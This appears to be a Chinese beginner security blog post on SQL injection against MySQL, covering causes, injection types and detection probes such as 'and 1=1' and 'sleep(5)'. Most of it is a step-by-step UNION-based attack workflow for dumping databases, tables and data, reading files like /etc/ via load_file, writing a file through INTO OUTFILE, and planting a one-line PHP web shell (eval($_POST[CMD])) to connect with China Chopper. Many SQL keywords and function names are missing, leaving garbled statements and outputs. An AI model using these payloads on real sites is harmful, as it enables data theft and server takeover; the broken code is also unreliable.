解决方案-注入漏洞原理-新手网安自学

解决方案-注入漏洞原理-新手网安自学

注入

l……

任何客户端可控,传递到服务器的变量。

漏洞原理

针对SQL注入的攻击行为,可描述为通过用户可控参数中注入SQL语法,破坏原有的SQL结构,达到编写程序时意料之外的结果的攻击行为。

其成因可以归结为以下两点原因叠加造成的:

1.程序编写者再处理程序和数据库交互的时候,使用字符拼接的方法构造SQL语句

2.未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

SQL注入危害

漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下,还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取或者服务器系统权限。

SQL注入分类和利用

SQL注入的分类

根据SQL数据类型分类

整型注入

字符串类型注入

根据注入的语法分类

SQL (可联合查询注入)

Eoor- (报错型注入)

- SQL (布尔型注入)

Time- SQL (基于时间延迟注入)

SQL (可多语句查询注入)

如何去判断SQL注入漏洞?

判断注入

uand

1=1 / and 1=2回显页面不同(整型判断)

u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

u\(转义符)

u-1

/ +1回显下一个或者上一个页面(整型判断)

uand

sleep(5) (判断页面返回时间)

SQL注入漏洞的利用

MySQL数据库的特性

一.MySQL中的3种注释风格

u#

(url编码为%23)

u--

(--后面要跟上一个或者多个空格)

u--+

(+相当于空格)

u/*…*/

u/*!...*/

二.MySQL函数利用

1.常用函数

luser()---数据库用户名

mysql> user();

+----------------+

|user()|

+----------------+

|root@ |

+----------------+

1 rowin set (0.00 sec)

()---数据库名

mysql> ();

+------------+

| ()|

+------------+

||

+------------+

1 rowin set (0.00 sec)

l@@---数据库路径

mysql> @@;

+-----------------------+

|@@|

+-----------------------+

|C:\\mysql\data\ |

+-----------------------+

1 rowin set (0.00 sec)

l@@---操作系统版本

mysql> @@;

+----------------------+

|@@ |

+----------------------+

|Win64|

+----------------------+

1 rowin set (0.00 sec)

()---MySQL数据库版本

mysql> ();

+-----------+

|() |

+-----------+

|5.7.16|

+-----------+

1 rowin set (0.04 sec)

l@@---MySQL数据库版本

mysql> @@;

+-----------+

|@@ |

+-----------+

|5.7.16|

+-----------+

1 rowin set (0.00 sec)

2.()函数读取文件操作

前提:

l知道文件的绝对路径

l能够使用union查询

l对web目录有写的权限

UNION ,('/etc/’),3,4,5#

UNION 1,(),3,4,5#

路径没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

3.into

‘路径’写入文件操作

前提:

l文件名必须是全路径(绝对路径)

l用户必须有写文件的权限

l没有对单引号’过滤

‘’ ‘C:\\\\tmp\\1.php’

‘’ into ‘C:\\\\tmp\\1.php’

路径里面两个反斜杠\\可以换成一个正斜杠/

PHP语句没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

后面路径的单引号不能省略

或者

建议一句话PHP语句转换成十六进制

4.连接字符串函数

(str1,str2)---没有分隔符的连接字符串

mysql> ('1234','5678');

+-----------------------+

|('1234','5678') |

+-----------------------+

||

+-----------------------+

1 rowin set (0.03 sec)

(,str1,str2)---含有分隔符的连接字符串

mysql> (0x7e,'1234','5678');

+-------------------------------+

|(0x7e,'1234','5678') |

+-------------------------------+

|1234~5678|

+-------------------------------+

1 rowin set (0.04 sec)

(str1,str2)---连接一个组的所有字符串,并且以逗号分割每一条数据

mysql> ('1234','5678');

+-----------------------------+

|('1234','5678') |

+-----------------------------+

||

+-----------------------------+

1 rowin set (0.07 sec)

三.MySQL中数据库

mysql>show ;

+---------------------------------------+

||

+---------------------------------------+

||

||

||

+---------------------------------------+

字段: 存放的是数据库名称

mysql> desc ;

+----------------------------+--------------+------+-----+---------+-------+

| Field| Type| Null | Key | | Extra |

+----------------------------+--------------+------+-----+---------+-------+

| | (64)| NO||||

+----------------------------+--------------+------+-----+---------+-------+

5 rows in set (0.11 sec)

字段:,ma,

mysql> desc ;

+-----------------+---------------------+------+-----+---------+-------+

| Field| Type| Null | Key | | Extra|

+-----------------+---------------------+------+-----+---------+-------+

| | (64)| NO||||

| | (64)| NO||||

+-----------------+---------------------+------+-----+---------+-------+

21 rows in set (0.00 sec)

字段:,,ema,,

mysql> desc ;

+--------------------------+---------------------+------+-----+---------+------

| Field| Type| Null | Key | | Extra

+--------------------------+---------------------+------+-----+---------+------

| | (64)| NO|||

| | (64)| NO|||

| | (64)| NO|||

+--------------------------+---------------------+------+-----+---------+------

四.MySQL中UNION规则

必须由两条或者两条以上的语句组成,语句之间关键字用UNION分隔

中的查询必须含有相同的列

会从查询结果中集中自动取出重复行

SQL注入挖掘以及防御

UNION query SQL

利用前提:页面上有显示位

优点:方便、快捷、易于利用

缺点:需要显示位

0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串注入

判断注入

uand

1=1 / and 1=2回显页面不同(整型判断)

u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

u\(转义符)

u-1

/ +1回显下一个或者上一个页面(整型判断)

uand

sleep(5) (判断页面返回时间)

0x002判断显示位长度,判断列数(二分法)

10

20

15

……

0x003判断查找显示位,UNION联合查询

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本

user()---数据库用户名

()---数据库名

@@---数据库路径

@@---操作系统版本

()---MySQL数据库版本

@@---MySQL数据库版本

0x005查找列出所有的数据库名称

limit一个一个打印出来数据库名字

() from . limit 0,1

一次性全部显示

() from .

0x006查找列出所有的表名

limit一个一个打印出来表名

() from . where =0x(数据库名称转十六进制) limit 0,1

一次性全部显示

() from . where =0x(数据库名称转十六进制)

0x007查找列出所有的字段

limit一个一个打印出来字段

() from . where =0x(数据库名称转十六进制) and =0x(表名转十六进制) limit 0,1

一次性全部显示

()

from . where =0x(数据库名称转十六进制) and =0x(表名转十六进制)

0x008查找列出所有需要的数据

limit一个一个打印出来数据

((0x7e,,0x7e,)) from数据库名字.表名limit 0,1

一次性全部显示

((0x7e,,0x7e,)) from数据库名字.表名

0x009 ()读取文件操作

前提:

l知道文件的绝对路径

l能够使用union查询

l对web目录有写的权限

UNION ,('/etc/’),3,4,5#

UNION ,(),3,4,5#

路径没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

0x010 into 写入文件操作

前提:

l文件名必须是全路径(绝对路径)

l用户必须有写文件的权限

l没有对单引号’过滤

‘’ into ‘C:\\\\tmp\\1.php’

‘’ into ‘C:\\\\tmp\\1.php’

路径里面两个反斜杠\\可以换成一个正斜杠/

PHP语句没有加单引号的话必须转换成十六进制

要是想省略单引号的话必须转换成十六进制

后面路径的单引号不能省略

eval($_POST[CMD]); ?>或者

建议一句话PHP语句转换成十六进制

0x011一句话木马

eval($_POST[CMD]); ?>或者

0x012菜刀连接

武功再高,也怕菜刀,中国菜刀,就是屌

SQL注入UNION联合查询类型手札

0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串型注入

and 1=1 / and 1=2回显页面不同(整型判断)

单引号'显示数据库错误或者页面回显不同(整型、字符串类型判断)

\转义符

~

网络安全学习,我们一起交流

~

  • 20
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值